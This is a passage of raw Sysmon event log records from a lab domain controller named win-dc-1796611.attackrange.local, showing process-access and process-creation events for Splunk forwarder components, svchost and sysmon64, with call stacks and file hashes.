Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005775Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-29D0-5F80-4701-000000007F01}4856C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005774Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.014{A5F018FF-29D0-5F80-4701-000000007F01}4856C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005813Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-29D1-5F80-4901-000000007F01}4580C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005812Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005811Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005810Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005809Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005808Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005807Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005806Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005805Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005804Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005803Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-29D1-5F80-4901-000000007F01}4580C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005802Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-29D1-5F80-4901-000000007F01}4580C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005801Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:53.357{A5F018FF-29D1-5F80-4901-000000007F01}4580C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005827Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.763{A5F018FF-29D2-5F80-4A01-000000007F01}48042772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005826Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-29D2-5F80-4A01-000000007F01}4804C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005825Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005824Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005823Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005822Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005821Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005820Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005819Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005818Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005817Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a0